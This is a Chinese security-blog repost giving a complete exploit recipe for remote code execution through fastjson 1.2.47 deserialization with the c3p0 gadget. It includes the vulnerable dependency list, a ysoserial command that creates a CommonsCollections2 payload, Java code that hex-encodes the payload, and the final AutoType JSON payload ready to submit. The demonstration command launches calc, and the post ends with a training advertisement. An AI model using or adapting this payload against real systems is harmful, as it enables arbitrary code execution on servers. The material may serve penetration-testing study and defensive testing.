fastjson <=1.2.47 c3p0 利用

admin 2025年3月10日15:01:55评论13 views字数 2353阅读7分50秒阅读模式

经常有学员问到fastjson c3p0 怎么利用

fastjson <=1.2.47 c3p0 利用

 在 fastjson 漏洞利用中,c3p0 依赖通常用于 AutoType 相关的反序列化攻击。例如,攻击者可以利用 fastjson 解析 JSON 数据时的 AutoType 机制,加载 c3p0 的恶意类(如 com.mchange.v2.c3p0.impl.PoolBackedDataSource)来执行任意代码。  

环境 

 springboot   java版本 jdk8 202 

      <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>

        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

使用 ysoserial 生成恶意的序列化文件

下载地址 https://github.com/frohoff/ysoserial

java -jar ysoserial-all.jar CommonsCollections2 "cmd /c calc"> ser.bin

攻击payload代码 

原理是读取ser.bin文件 转换成hex  拼接成字符串 

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("ser.bin");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+HexString+";"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

如图 

fastjson <=1.2.47 c3p0 利用

生成的攻击payload

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:攻击的hex值;"}}

提交进行利用

fastjson <=1.2.47 c3p0 利用

参考 

https://xz.aliyun.com/news/11938

想系统学习渗透测试?扫码报名培训课程!
fastjson <=1.2.47 c3p0 利用

原文始发于微信公众号(moonsec):fastjson <=1.2.47 c3p0 利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日15:01:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson <=1.2.47 c3p0 利用https://cn-sec.com/archives/3822798.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息